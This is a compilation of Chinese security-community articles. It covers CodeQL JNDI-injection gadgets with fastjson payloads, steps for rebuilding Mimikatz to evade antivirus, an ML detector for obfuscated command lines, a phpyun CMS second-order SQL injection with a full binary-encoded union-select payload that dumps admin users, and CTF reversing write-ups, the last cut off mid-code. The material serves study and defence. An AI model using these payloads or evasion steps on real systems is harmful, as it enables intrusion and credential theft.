也会通过`convertJndiName` 的调用传播到`lookup` 那里
第二个和第三个属于同一个，分别if，else分支里
`org.apache.shiro.jndi.JndiObjectFactory`
String input = "{\"@type\":\"org.apache.shiro.jndi.JndiObjectFactory\", \"resourceName\":\"rmi://127.0.0.1:9050/exploit\"}";
Object obj = JSON.parseObject(input);
第四个
`org.apache.shiro.realm.jndi.JndiRealmFactory`
String input = "{\"@type\":\"org.apache.shiro.realm.jndi.JndiRealmFactory\", \"jndiNames\":\"rmi://127.0.0.1:9050/exploit\"}";
Object obj = JSON.parseObject(input);
可以看到成功的发起了RMI请求
怎么减少误报呢？
`FieldAccess`要从一个`setXXX`或者`getXXX` 流到 `lookup`。
/**
@kind path-problem
*/
import java
import semmle.code.java.dataflow.FlowSources
import semmle.code.java.dataflow.TaintTracking2
import DataFlow2::PathGraph
class JNDIMethod extends Method{
JNDIMethod(){
this.getDeclaringType().getAnAncestor().hasQualifiedName("javax.naming", "Context") and
this.hasName("lookup")
}
}
class MyTaintTrackingConfiguration extends TaintTracking2::Configuration {
MyTaintTrackingConfiguration() { this = "MyTaintTrackingConfiguration" }
override predicate isSource(DataFlow::Node source) {
exists(FieldAccess fac |
(fac.getSite().getName().indexOf("get")=0 or fac.getSite().getName().indexOf("set")=0) and source.asExpr() = fac
)
}
override predicate isSink(DataFlow::Node sink) {
exists(MethodAccess call |
call.getMethod() instanceof JNDIMethod and sink.asExpr() = call.getArgument(0)
)
}
}
from MyTaintTrackingConfiguration config, DataFlow2::PathNode source, DataFlow2::PathNode sink
where config.hasFlowPath(source, sink)
select source.getNode(), source, sink, sink.getNode()
这样就会排除第一个误报。
### common-configuration
`common-configuration` 的结果如下
从上面可以看到效果和那位老哥的基本差不多，而且直接给出了具体的数据流。
~~附件我提供了我创建好的两个database，供大家下载！~~
一个30.8M 一个 29.9M ，我没能上传成功，我是从github直接下载的源码，然后使用 `codeql database create
--language=java qldatabase` 让他自己build一会就好了。
## 参考链接
* workshop <https://github.com/githubsatelliteworkshops/codeql/>
* Codeql java api 手册 <https://help.semmle.com/qldoc/java/index.html>
* QL 语法手册 <https://help.semmle.com/QL/ql-handbook/expressions.html>
* <https://xz.aliyun.com/t/7482>
* <https://github.com/github/codeql> | 社区文章 |
# 免杀基础原理及实践免杀
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1.免杀基本概念：
**免杀**
就是反病毒技术，，它指的是一种能使病毒木马免于被[杀毒软件](https://zh.wikipedia.org/wiki/%E6%9D%80%E6%AF%92%E8%BD%AF%E4%BB%B6)查杀的技术。由于免杀技术的涉猎面非常广，其中包含反[汇编](https://zh.wikipedia.org/wiki/%E6%B1%87%E7%BC%96)、[逆向工程](https://zh.wikipedia.org/wiki/%E9%80%86%E5%90%91%E5%B7%A5%E7%A8%8B)、[系统漏洞](https://zh.wikipedia.org/w/index.php?title=%E7%B3%BB%E7%BB%9F%E6%BC%8F%E6%B4%9E&action=edit&redlink=1)等黑客技术，所以难度很高，一般人不会或没能力接触这技术的深层内容。其内容基本上都是修改病毒、木马的内容改变特征码，从而躲避了杀毒软件的查杀。
## 2.查杀方式及原理
病毒查杀方式：行为和云查杀、静态查杀。
静态查杀：一般根据特征码识别到，然后对文件进行特征匹配。
云查杀：查毒的原理是对文件内容及行为的检测，要实现这个需要唯一确定文件吧，md5？当大文件时，效率较低，随便改个字节都变了，所以就有了提特征（针对所有文件，根据指定位提取唯一信息，速度快）。
行为查杀(动态查杀)，主要是对其产生的行为进行检测。
1. 可构建行为库进行动态查杀
2. 可构建日志库对日志库进行动态查杀
3. 统计学检测—>构建特征学习模型—>进行动态查获取就好了
## 3.免杀实践：使用mimikatz免杀。
### 1.初识Mimikatz。
**Mimikatz** 可以说渗透人员都知道的一款获取Windows的明文密码的工具，是法国人编写的但在全球都广范围使用着，主要能够从 Windows
认证(LSASS)的进程中获取内存，并且获取明文密码和NTLM的哈希值，因此黑客可以借此横向内网环境。
### 2.环境部署：
1.先将Mimikatz 工具下载到本地：
<https://github.com/gentilkiwi/mimikatz>
2.然后安装Visual Studio 2012
3.运行之后，勾选下一步。（Mimikatz免杀只需要勾选c ++即可）
### 3.配置环境
1.配置c++环境。
4.免杀原理：主要通过更改杀软定位源码种的特征源码，对其进行修改然后达到免杀的效果。
免杀步骤：
1.使用Visual Studio 2012方式打开mimikatz.sln：
2.然后生成exe。
3.然后运行进行检测：
4.进入属性，更改平台工具集和运行环境，将运行环境改为64位。
5.修改源码，替换mimikatz替换为abc
6.将所有关键字进行替换
7.看到了更改后的文件，将关键注释信息进行删除。
8.新建版本信息区
9.最后在线生成ico，然后进行替换
<http://www.ico51.cn/>或
<https://www.bitbug.net/>
10.最后进行bypass测试，测试过程大家自行测试。 | 社区文章 |
本文介绍如何使用机器学习方法解决终端上的安全难题：检测混淆的Windows命令行调用。
# 简介
恶意攻击者越来越多地使用PowerShell、`cmd.exe`这样的内置工具作为攻击活动的一部分来最小化被白名单防御策略检测到的概率。在可见的语句和命令的最终行为之间加上一个间接层可增加检测的难度。Invoke-Obfuscation和Invoke-DOSfuscation就是最近发布的自动混淆Powershell和`cmd.exe`的工具。
传统的模式匹配和基于规则的检测方法并不是一个通用的解决方案，而且维护的工作量很大。本文介绍如何利用机器学习方法来解决这一难题。
# 背景
混淆是恶意软件用来隐藏恶意活动的常用方法，从加密恶意payload到混淆字符串再到JS混淆都非常常见。混淆的目的是可以分为2个方面：
* 使在可执行代码、字符串和脚本中更难找到对应的模式；
* 使逆向工程师和分析师更难解密和完全理解恶意软件的作用。
从这个角度看，命令行混淆并不是一个新问题，但对`cmd.exe`的命令进行混淆相对比较新。最新发布的工具Invoke-Obfuscation
(对PowerShell) 和Invoke-DOSfuscation
(对cmd.exe)就证明了这些命令的灵活性，以及经过复杂的混淆之后命令如何有效地运行。
在混淆和非混淆的命令行中有两个维度，如图1和图2所示，可以分为`simple/complex`（简单/复杂）和`clear/obfuscated`（混淆/非混淆）。Simple意味着比较短和简单的字符串，其中可能含有混淆，complex表示长的、复杂的字符串，其中可能含有混淆，也可能不含混淆。因为其复杂性，所以这样的分类从机器学习视角来看也是一个比较难的问题。
图1: 混淆的维度
图2: 弱混淆和强混淆示例
# 传统混淆检测
传统的混淆检测可以分为3种方法，第一个方法是写大量复杂的正则表达式来匹配Windows命令行最长被滥用的语法。图3就是这样的一个例子，图4是用来检测的命令序列的正则表达式。
图3: 常见的混淆匹配正则表达式
图4: 常见的混淆模式
这种方法有两个问题：
* 1是不可能开发出覆盖每种滥用可能性的正则表达式。命令行的灵活性导致使用正则表达式的不现实性。
* 2是即使正则表达式匹配了恶意样本使用的混淆几时，但攻击者对混淆技术做一点小小的更改就可以绕过正则表达式的检测。图5是对图4中序列的一个微小更改，用来绕过正则表达式的检测。
图5: 对混淆命令行进行更改来打破图3中的正则表达式的检测
第二个方法与机器学习方法类似，即写一个复杂的`if-then`规则。但是这样的规则很难提取和验证，维护成本也很大。图6是`if-then`规则的一个例子。
图6: 可能暗示混淆的if-then规则
第3个方法是融合正则表达式和`if-then`规则。这种方法极大地增加了开发和维护成本，同时存在前两种方法存在的脆弱性问题。图7是融合正则表达式和`if-then`规则的方法示例。从中可以看出生成、测试、维护和确定这些规则效率的复杂性。
图7: 融合正则表达式和if-then规则的检测方法示例
# 机器学习方法
使用机器学习方法简化了这些问题。下面首先介绍2种机器学习的方法： **基于特定的方法和无特征的端对端方法** 。
一些机器学习算法可以处理任意类型的原始数据，神经网络就是这样的例子。大多数的机器学习算法需要建模者首先从原始数据中提取出特征，比如基于树的算法。
## 无特征机器学习
神经网络需要提前标记了特征的数据，而无特征机器学习的优势就在于可以处理原始数据，而无须进行特征设计和特征提取。模型中的第一步是将文本数据转换为数字格式。研究人员使用了基于字符的编码方法，其中每个字符类型都是用一个实数值编码的。在训练过程中该值可以自动提取，并应用到`cmd.exe`语法中。
## 机器特征的机器学习
研究人员还使用了手动提取特征和Gradient Boosted Decision
Tree(梯度提升决策树)方法。模型中的特征主要来源于对字符集和关键字的频率进行统计分析。比如，多次出现的%字符可能会用于检测潜在的混淆。因为简单特征对分类的影响并不大，基于树的模型和特征融合可以学习数据中灵活的模式。
期望的结果是这些模式都非常鲁棒，可以用于之后混淆变种的分析。
# 数据和实验
研究人员从上万个终端事件收集了非混淆的数据，并用Invoke-DOSfuscation这类方法生成了混淆后的数据。然后开发出机器学习模型，混淆后的数据集的`80%`作为训练数据，剩余`20%`作为测试数据。研究人员确认其训练测试的分隔是分成抽样的。对于无特征机器学习，研究人员输入Unicode
code point（代码点）到CNN模型的第一层。然后在进入到神经网络的其他部分前，第一层会将code point转化为语义有意义的数值表示。
对Gradient Boosted Tree方法，研究人员从原始的命令行中生成了以下特征：
* 命令行的长度
* 命令行中的补字符号数
* 匹配符合数
* 命令行中空白所占比例
* 特殊字符所占比例
* 字符串的熵
* 命令行中字符串cmd和power的频率
这些特征单独来看并不是混淆的好的标识，但Gradient Boosted
Tree类似的灵活的分类器在用这些特征在足够的数据上进行训练后，就可以会混淆和非混淆命令行进行分类了。
# 结果
根据测试集的评估结果，研究人员在Gradient Boosted Tree和神经网络模型上得出了几乎相同的结果。
GBT模型的结果在F1-score、精确率和召回率方面近乎完美，接近`1`，CNN模型在精确度方面稍低。
研究人员并不期望在实际的场景中会有这样完美的结果，但还是给实际应用给了很大的信息。考虑到所有混淆后的样本都是由Invoke-DOSfuscation工具这一个源生成的，但实际场景中会有许多不同的混淆样本由不同的混淆工具生成，因此，研究人员也在从实际场景中去收集混淆后的样本。研究人员认为PowerShell混淆和命令混淆在未来的恶意软件家族中会继续出现。
测试过程中，研究人员与Invoke-DOSfuscation的作者联系，请他给出一些传统混淆检测器很难检测的混淆样本。然后用机器学习检测器进行检测，如图8所示，检测结果显示可以成功检测混淆。
图8: 使用检测学习混淆检测器来检测混淆后的文本示例
研究人员还创建了看似加密的文本，这对人类检测人员看来也是混淆过的。这被用来检测机器学习检测器的边界。测试结果显示机器学习检测器正确地将文本显示为非混淆的，如图9所示。
图9: 机器学习检测器准确分类看似加密的文本
最后，图10显示了机器学习混淆检测器成功检测出复杂的、非混淆的命令行的例子，但非机器学习检测器基于统计特征会将其误分类为混淆的命令。
图10: 机器学习混淆检测器成功检测出复杂的、非混淆的命令行
# 总结
本文介绍了如何使用机器学习方法来检测混淆的Windows命令行，这可以用于识别恶意的命令行滥用。研究人员证明了使用机器学习方法可以增加检测的准确率和成本。机器学习算法可以更加灵活地检测出混淆中的新变种，如果发现新的可绕过检测器的样本，可以将这些样本放入训练集中来重新训练模型。
机器学习方法的成功应用再次证明了机器学习在解决计算机安全领域难题的有用性。研究人员认为未来机器学习在计算机安全领域会有更多的应用。
<https://www.fireeye.com/blog/threat-research/2018/11/obfuscated-command-line-detection-using-machine-learning.html> | 社区文章 |
# 某php开源cms有趣的二次注入
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 漏洞说明
这个漏洞涉及到了mysql中比较有意思的两个知识点以及以`table`作为二次注入的突破口，非常的有意思。此cms的防注入虽然是很变态的，但是却可以利用mysql的这两个特点绕过防御。本次的漏洞是出现在`ndex.class.php`中的`likejob_action()`和`saveresumeson_action()`函数，由于这两个函数对用户的输入没有进行严格的显示，同时利用mysql的特点能够绕过waf。
PS:此漏洞的触发需要在WAP环境下，所以在进行调试的时候需要修改浏览器的ua为`Mozilla/5.0 (Linux; Android 6.0;
Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/64.0.3282.186 Mobile Safari/537.36`。
## 漏洞分析
### mysql特点
**特点1**
传统的插入方式可能大家想到的都是`insert into test(id,content,title)
values(1,'hello','hello')`。如果我们仅仅值需要插入一条记录，则使用`insert into test(content)
values('hello2')`。如下图所示:
但是实际上还存在另外一种方式能够仅仅值插入一条记录。
insert into test set content='hello3';
可以看到这种方式和`insert into test(content) values('hello2')`是一样的。
**说明插入数据时，利用`values()`和通过`=`指定列的方式结果都一样**
**特点2**
我们知道mysql中能够使用十六进制表示字符串。如下：
其中`0x68656c6c6f`表示的就是`hello`。这是一个很常见的方式。
除了使用十六进制外，还可以使用二进制的方式进行插入。`hello`的二进制是`01101000 01100101 01101100 01101100
01101111`，那么我们的SQL语句还可以这样写,`insert into test set
content=0b0110100001100101011011000110110001101111`。这种方式和`insert into
test(content) values (0b0110100001100101011011000110110001101111)`是一样的。
**mysql不仅可以使用十六进制插入，还可以使用二进制的方式插入**
### waf防护分析
waf的防护是位于`config/db.safety.php`
其中的`gpc2sql()`过滤代码如下:
function gpc2sql($str, $str2) {
if (preg_match("/select|insert|update|delete|load_file|outfile/is", $str)) {
exit(safe_pape());
}
if (preg_match("/select|insert|update|delete|load_file|outfile/is", $str2)) {
exit(safe_pape());
}
$arr = array("sleep" => "Ｓleep", " and " => " an d ", " or " => " Ｏr ", "xor" => "xＯr", "%20" => " ", "select" => "Ｓelect", "update" => "Ｕpdate", "count" => "Ｃount", "chr" => "Ｃhr", "truncate" => "Ｔruncate", "union" => "Ｕnion", "delete" => "Ｄelete", "insert" => "Ｉnsert", """ => "“", "'" => "“", "--" => "- -", "(" => "（", ")" => "）", "00000000" => "OOOOOOOO", "0x" => "Ox");
foreach ($arr as $key => $v) {
$str = preg_replace('/' . $key . '/isU', $v, $str);
}
return $str;
}
可以看到将`0x`替换为了`Ox`,所以无法传入十六进制，但是我们却可以利用mysql中的二进制的特点，利用`0b`的方式传入我们需要的payload。
### index.class.php漏洞分析
漏洞是位于`wap/member/model/index.class.php`中，漏洞产生的主要函数是位于`likejob_action()`和`saveresumeson_action()`中。我们首先分析`likejob_action()`。`likejob_action()`的主要代码如下：
而`DB_update_all()`的代码如下：
function DB_update_all($tablename, $value, $where = 1,$pecial=''){
if($pecial!=$tablename){
$where =$this->site_fetchsql($where,$tablename);
}
$SQL = "UPDATE `" . $this->def . $tablename . "` SET $value WHERE ".$where;
$this->db->query("set sql_mode=''");
$return=$this->db->query($SQL);
return $return;
}
也就是说，当数据进入到`DB_update_all()`之后就不会有任何的过滤。那么漏洞点就在于`resume_expect`中的`job_classid`字段。`job_classid`字段的内容的传递如下图所示：
所以如如果我们控制了`resume_expect`中的`job_classid`字段，我们就能够修改这条语句了。
我们可以借助于`saveresumeson_action()`来向`job_classid`中插入我们的payload。`saveresumeson_action()`的关键代码如下：
可以看到`$table`是直接通过`"resume_".$_POST['table']`拼接的，这也就以为着`$table`是我们可控的，之后`$table`进入了`$this->obj->update_once()`中。我们进入`uptate_once()`中：
`$table`变量在`update_once()`没有进行任何的处理，直接进入到`DB_update_all()`中，我们追踪进入到`DB_update_all()`中:
同样没有进行任何的处理。
通过上面的跟踪分析，表明`$table="resume_".$_POST['table'];`赋值之后，中途`$table`变量没有进行任何的过滤直接进入了最终的SQL语句查询。
如此整个攻击链就成功了，我们通过`saveresumeson_action()`中的`$table`可控,对`resume_expect`中的`job_classid`进行修改，之后通过`likejob_action()`读取`job_classid`字段的内容，执行我们的SQL语句。
由于我们无法使用十六进制，此时我们就需要使用到二进制(`0b`)插入我们的payload。
## 漏洞复现
### 注册用户/创建简历
注册用户创建简历。此时在`phpyun_resume_expect`中存在一条`id=1`的记录。
### 访问saveresumeson
我们访问`saveresumeson`对应的URL，写入我们的payload。根据语法，我们需要将`table`的内容设置为
expect' set class_id=1))/**/union/**/select/**/1,username,3,4,5,6,7,8,9,10,11,12/**/from/**/phpyun_admin_user #,uid=1 #
由于`1))/**/union/**/select/**/1,username,3,4,5,6,7,8,9,10,11,12/**/from/**/phpyun_admin_user
#`无法绕过SQL的防御，需要转化为二进制，是`001100010010100100101001001011110010101000101010001011110111010101101110011010010110111101101110001011110010101000101010001011110111001101100101011011000110010101100011011101000010111100101010001010100010111100110001001011000111010101110011011001010111001001101110011000010110110101100101001011000011001100101100001101000010110000110101001011000011011000101100001101110010110000111000001011000011100100101100001100010011000000101100001100010011000100101100001100010011001000101111001010100010101000101111011001100111001001101111011011010010111100101010001010100010111101110000011010000111000001111001011101010110111001011111011000010110010001101101011010010110111001011111011101010111001101100101011100100010000000100011`
那么最终的payload是:
URL:http://localhost/wap//member/index.php?c=saveresumeson&eid=1
POST：name=java%e5%a4%a7%e6%95%b0%e6%8d%ae%e5%bc%80%e5%8f%91&sdate=2018-02&edate=2018-03&title=%e6%a0%b8%e5%bf%83%e5%bc%80%e5%8f%91%e4%ba%ba%e5%91%98&content=java%e5%a4%a7%e6%95%b0%e6%8d%ae%e5%ba%93%e5%bc%80%e5%8f%91&eid=1&id=&submit=%e4%bf%9d%e5%ad%98&table=expect%60set+job_classid%3d0b0011000100101001001010010010111100101010001010100010111101110101011011100110100101101111011011100010111100101010001010100010111101110011011001010110110001100101011000110111010000101111001010100010101000101111001100010010110001110101011100110110010101110010011011100110000101101101011001010010110000110011001011000011010000101100001101010010110000110110001011000011011100101100001110000010110000111001001011000011000100110000001011000011000100110001001011000011000100110010001011110010101000101010001011110110011001110010011011110110110100101111001010100010101000101111011100000110100001110000011110010111010101101110010111110110000101100100011011010110100101101110010111110111010101110011011001010111001000100011%2cuid%3d1+%23
此时我们执行的SQL语句是:
INSERT INTO `phpyun_resume_expect`set job_classid=0b001100010010100100101001001011110010101000101010001011110111010101101110011010010110111101101110001011110010101000101010001011110111001101100101011011000110010101100011011101000010111100101010001010100010111100110001001011000111010101110011011001010111001001101110011000010110110101100101001011000011001100101100001101000010110000110101001011000011011000101100001101110010110000111000001011000011100100101100001100010011000000101100001100010011000100101100001100010011001000101111001010100010101000101111011001100111001001101111011011010010111100101010001010100010111101110000011010000111000001111001011101010110111001011111011000010110010001101101011010010110111001011111011101010111001101100101011100100010000000100011,uid=1 #` SET
最终数据库中多了一条记录，如下：
我们顺利地向`job_classid`中插入了我们的的payload
### 访问likejob_action触发payload
接下来我们访问`http://localhost/member/index.php?c=likejob&id=7`，其中的id就是刚刚我们插入的payload所对应记录的id。当运行至`DB_select_all()`中执行的SQL语句是：
为了便于分析，我们将这条SQL语句放入到datagrid中分析:
最终在页面上显示`admin`的信息。
至此整个漏洞都分析完毕了。
## 总结
一般来说，二次注入利用点一般都比较隐晦。所以二次注入的思路比一般的注入更加巧妙和有意思，在本例中体现得尤为明显。
1. 这个二次注入的点比较难找，二次注入中的利用`table`作为二次注入的利用点的例子还是比较少见的；
2. 绕过方法也比较少见。本例中的waf的防护还是比较严格的，利用了mysql的两个少见特性就可以绕过了。 | 社区文章 |
# 2021祥云杯部分逆向题解
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## Rev_Dizzy
因为main函数太大，ida默认反编译函数的大小只有64K，所以这里会反编译会失败。
这个问题可以通过修改反编译插件的配置文件 **\cfg\hexrays.cfg** 中MAX_FUNCSIZE，改为1024就好了。
然后观察反编译后的伪代码，对输入进行了5000多行代码的运算且不是线性运算。
首先想到的是用z3来解，但刚复制完代码准备跑脚本的时候发现运算其实只有加，减，异或，那这就很好办了，直接把密文用程序中的运算加法改成减法，减法改成加法，然后倒着跑一遍就解密了，。
用python处理运算表达式:
fp = open("1.py", "rb")
fp1 = open("ans.txt", "w")
data = fp.read()
data = data.split(b'\n')
for i in data[::-1]:
tmp = i.decode()
tmp = tmp.replace('\r', '')
if '+' in tmp:
tmp = tmp.replace('+', '-')
elif '-' in tmp:
tmp = tmp.replace('-', '+')
fp1.write(tmp+'\n')
fp1.close()
fp.close()
最后在在头部补上密文，运行得到flag：
#include <stdio.h>
#include <stdlib.h>
int main(void)
{
char flag[] = {0x27, 0x3c, 0xe3, 0xfc, 0x2e, 0x41, 0x7, 0x5e, 0x62, 0xcf, 0xe8, 0xf2, 0x92, 0x80, 0xe2, 0x36, 0xb4, 0xb2, 0x67, 0x77, 0xf, 0xf6, 0xd, 0xb6, 0xed, 0x1c, 0x65, 0x8a, 0x7, 0x53, 0xa6, 0x66, 0};
flag[16] -= flag[20];
flag[0] -= flag[5];
flag[21] += 54;
flag[22] += flag[31];
flag[29] -= flag[25];
flag[18] ^= flag[14];
flag[1] -= 33;
...
...
...
flag[14] -= flag[3];
flag[10] -= flag[6];
flag[10] += flag[27];
flag[6] -= flag[3];
puts(flag);
}
## 勒索解密
程序加密了一个bmp图片，让我们逆向程序得到加密算法进而解密还原图片得到flag。
开始我通过自己创建文件加密后看密文与明文的关系，发现16字节一组加密，每次加密结果都不一样，且明文的最后一组会被填充到32字节，接着会在密文后填充128字节数据加末尾的0x80。
接着分析程序，来到main函数，代码有点繁琐，调试辅助分析，开始就是去取 **C:\XX_CTF_XX\** 目录下的文件，得到文件内容然后对其加密。
定位到main函数中加密开始的逻辑：
注意到它是用的 **wincrypt.h** 库中的加密函数，[官方文档](https://docs.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptencrypt)。
来看关键的加密函数，看到加密前的初始化工作：
因为使用的wincrypt，通过 **alg_id** 来区分使用的加密算法，查看文档：<https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id>
所以说就是先用得到 **pdata** 进行了sha256然后作为aes_128的初始化密钥。
调试得到pdata是通过一些算出的固定值和时间戳组成的16字节：
然后直接在最后加密的函数下断点，看加密数据是否是我们的输入，确定输入在之前没有变化操作。
自己用数据测试了本地aes解密经过程序加密的数据正确后开始解密工作。
先得到pdata进而得到key：
> 1.通过文件最后修改的时间，然后在线转换一下得到对应的时间戳。
>
> 2.通过bmp文件的魔术字段爆破出时间戳。
这里我2个方法都试了下，得到同样的结果：
爆破pdata，进而得到key：
#coding:utf-8
import base64
from hashlib import *
from Crypto.Cipher import AES
def decrypt(data, key):
cryptos = AES.new(key, AES.MODE_ECB)
decrpytBytes = list(base64.b64decode(data))
decrpytBytes = bytes(decrpytBytes)
meg = cryptos.decrypt(decrpytBytes)
return meg
enc = 'sgL4CWqLPyWU7eexyfw6pw=='
s = [0xB2, 0x2F, 0xC6, 0x0E, 0x4F, 0xD4, 0x54, 0x4B, 0x4E, 0x31, 0x21, 0x61, 0x21, 0xE7, 0xB1, 0x8E]
for i in range(0xff):
for j in range(0xff):
for k in range(0xff):
s[8:11] = [i, j, k]
key = sha256(bytes(s)).hexdigest()[:32]
key = bytes.fromhex(key)
ans = decrypt(enc, key)
if ans[:2] == b'BM' and ans[15] == 0 and ans[5] == 0:
print(key)
然后写脚本解密，但发现只有第一组解密正确。
其实这里是我忽略了上面的 **CryptSetKeyParam** ：
BOOL CryptSetKeyParam(
HCRYPTKEY hKey,
DWORD dwParam,
const BYTE *pbData,
DWORD dwFlags
);
其中参数2我们可以从[wincrypt.h](https://www.rpi.edu/dept/cis/software/g77-mingw32/include/wincrypt.h)中找到：
从以上我看可以了解到，程序是使用了PKCS5_PADDING与cbc模式加密。
然后从第一组能解密成功可以推测出使用了默认的iv：0。
最后解密还原bmp图片：
#coding:utf-8
import base64
from hashlib import *
from Crypto.Cipher import AES
def decrypt(data, key):
cryptos = AES.new(key, AES.MODE_ECB)
decrpytBytes = list(base64.b64decode(data))
decrpytBytes = bytes(decrpytBytes)
meg = cryptos.decrypt(decrpytBytes)
return meg
key = "f4b6bb19108b56fc60a61fc967c0afbe71d2d9048ac0ffe931c901e75689eb46"[:32]
key = bytes.fromhex(key)
f = open("1.bmp.ctf_crypter", "rb")
fp = open("1", "wb")
data = f.read()
def xor(a, b):
res = []
for i in range(len(a)):
#print(i)
res += [a[i]^b[i]]
return bytes(res)
for i in range(len(data)//16):
#print(data[16*i:16*(i+1)].hex())
enc = base64.b64encode(data[16*i:16*(i+1)])
if i > 0:
ans = xor(decrypt(enc, key), data[16*(i-1):16*i])
else:
ans = decrypt(enc, key)
fp.write(ans)
f.close()
fp.close()
print('*'*100)
至于最后一块的填充数据，从解密结果来看是10。
## Rev_APC
首先定位到DriverEntry：
再看sub_140004D3C：
我们知道DriverEntry的第一个参数是驱动对象指针（ **PDRIVER_OBJECT Driver** ）。驱动对象用
**DRIVER_OBJECT Driver**
数据结构表示，它做为驱动的一个实例被内核加载，并且内核中一个驱动只加载一个实例，也就是一个驱动最多只有一个驱动对象。
驱动程序的关键是要去分析 **AddDevice** 函数，而设备对象结构体中的一个成员： **struct _DRIVER_OBJECT
*DriverObject;** 它也是一个驱动对象指针，且它与 **DriverEntry**
中的一个参数都是同一个驱动对象指针，依据这个我们就能快速的从DriverEntry中找到设备创建相关关键函数了。其实也就是定位DriverEntry的第一个参数Driver，看那个函数把它作为了第一个参数。（如上图演示，找到了sub_1400015EC函数。
看到sub_1400015EC函数：
其中IoCreateSymbolicLink创建符号链接是为了给设备对象起个别名，为了让用户模式下的程序识别这个设备对象；
Driver->DriverUnload是设置驱动卸载时要调用的回调函数，一般负责删除在DriverEntry中创建的设备对象，并把设备对象所关联的符号链接删除；
Driver->MajorFunction记录的是一个函数指针数组，函数是处理IRP的派遣函数，是用户模式发出请求，然后由用户态与内核态之间的桥梁I/O管理器发出。
再看到里面的sub_1400019D8函数：判断指定的dll是否存在，如果不存在就从编码的数据中异或解密出一个dll写入文件。
判断dll是否存在代码：
找到FileAttributes的枚举值：
接着sub_1400019A4函数进行了lpc通信的初始化，监听端口等。
最后sub_140001B78函数设置了一个进程创建的监控函数，本题是监控新创建的进程，用md5值判断该进程是否是 **explorer.exe** 。
上面我们对整个创建设备对象的函数整体上梳理了一遍，下面开始提取出要解密的dll。
idapython提取解密dll：
from ida_bytes import *
addr = 0x140007000
fp = open("InjectDLL.dll", "wb")
for i in range(0x3c00):
fp.write(bytes([get_byte(addr+i)]))
fp.close()
print('*'*100)
从字符串信息定位到dll中的关键函数sub_1800015C0，上半部分：使用sha3-256加密 **AkiraDDL**
字符串，将32字节的结果通过DeviceIoControl函数发送到CreateFileW函数创建的驱动对象，让驱动对象相应的设备执行相应的操作（
**也就是驱动程序中设置的Driver- >MajorFunction。**
接着就是本题解题的关键了：找到正确的用于后面和flag明文加密的32字节数据。
上面我们知道计算的32字节hash值发送到了驱动对象，看到驱动对象中对应的处理函数：可以看到32字节hash经过的异或的数据并没有传出到dll中，而是直接把编码的数据复制到了
***(__m128i **)(a1 + 112)** ，所以说我们的hash值根本没有使用的。
接着是后面的sub_180001350函数：处理从驱动对象发送回的数据，使用了lpc通信向服务方发送报文，请求得到LPC服务。
回到驱动程序中找到lpc通信初始化的地方，用StartRoutine函数处理lpc通信请求。
从StartRoutine函数找到处理从dll发送的数据的地方，这里的if else分支中，一个是累异或：每个字节与它之前的所有字节异或；另外一个是将
**M[@gic](https://github.com/gic "@gic")**字符串添加到本来有的27字节数据后面正好组成32字节数据。
剩下就是最后的加密，32轮加密，每轮加密函数用随机数确定。因为这里没有使用srand()初始化种子，那使用的就是默认的种子：1。
上面也说了在我分析来，有2种用于和flag明文加密的数据，这里我在解密时两种结果都试了一下，从第一种累异或得到正确结果。
加密算法也很好逆，一是加密只有异或，加法，减法及移位。二是要和flag明文加密的数据的变化不受明文的影响。
解密脚本：
#include <stdio.h>
#include <stdlib.h>
unsigned char hash[] = {165, 106, 167, 113, 180, 119, 198, 3, 209, 8, 223, 24, 206, 3, 215, 15, 204, 119, 186, 98, 174, 109, 221, 24, 192, 9, 213, 213, 213, 213, 213, 213};
//unsigned char hash[] = {0xA5, 0xCF, 0xCD, 0xD6, 0xC5, 0xC3, 0xB1, 0xC5, 0xD2, 0xD9, 0xD7, 0xC7, 0xD6, 0xCD, 0xD4, 0xD8, 0xC3, 0xBB, 0xCD, 0xD8, 0xCC, 0xC3, 0xB0, 0xC5, 0xD8, 0xC9, 0xDC, 0, 0, 0, 0, 0};
//unsigned char hash[] = {56, 144, 185, 193, 92, 20, 87, 231, 166, 41, 206, 164, 135, 174, 194, 10, 40, 211, 69, 111, 251, 121, 0, 103, 104, 40, 171, 235, 244, 190, 95, 32};
unsigned char hashed[32][32] = {0};
char order[] = {0, 5, 5, 2, 2, 3, 4, 4, 3, 2, 0, 3, 0, 3, 2, 1, 5, 1, 3, 1, 5, 5, 2, 4, 0, 0, 4, 5, 4, 4, 5, 5};
unsigned char enc[32] = {87, 197, 56, 27, 58, 168, 52, 47, 57, 151, 198, 228, 4, 47, 143, 238, 94, 81, 128, 103, 36, 201, 111, 72, 91, 127, 189, 199, 176, 194, 194, 235};
//unsigned char enc[] = {145, 245, 10, 154, 15, 94, 11, 194, 194, 229, 233, 150, 87, 240, 145, 56, 1, 113, 96, 76, 163, 181, 65, 253, 1, 237, 39, 181, 137, 88, 235, 108};
unsigned char plain[32] = {0};
unsigned char fun(unsigned char a)
{
return ((a<<4)|(a>>4));
}
void fun1(unsigned char *a, unsigned char *b)
{
for(int i = 0; i < 32; i++)
{
a[i] += 16;
b[i] ^= a[i];
}
}
void fun2(unsigned char *a, unsigned char *b)
{
for(int i = 0; i < 32; i++)
{
a[i] -= 80;
b[i] ^= fun(a[i]);
}
}
void fun3(unsigned char *a, unsigned char *b)
{
for(int i = 0; i < 32; i++)
{
b[i] ^= a[i];
}
}
void fun4(unsigned char *a, unsigned char *b)
{
for(int i = 0; i < 32; i++)
{
a[i] -= 80;
}
for(int i = 0; i < 32; i += 2)
{
b[i] ^= 16*a[i];
b[i+1] ^= a[i] >> 4;
}
}
void fun5(unsigned char *a, unsigned char *b)
{
for(int i = 0; i < 32; i++)
{
b[i] ^= a[i];
}
}
void fun6(unsigned char *a, unsigned char *b)
{
for(int i = 0; i < 32; i++)
{
if((unsigned char)(a[i]-33) > 46)
{
if((unsigned char)(a[i]-81) > 46)
{
if(a[i]>0x80)
{
a[i] = a[i]-48;
b[i] -= a[i];
}
}
else
{
a[i] = a[i]-48;
b[i] ^= a[i] >> 4;
}
}
else
{
a[i] = a[i]-80;
b[i] += a[i];
}
}
}
void defun6(unsigned char *a, unsigned char *b)
{
for(int i = 0; i < 32; i++)
{
if((unsigned char)(a[i]-33) > 46)
{
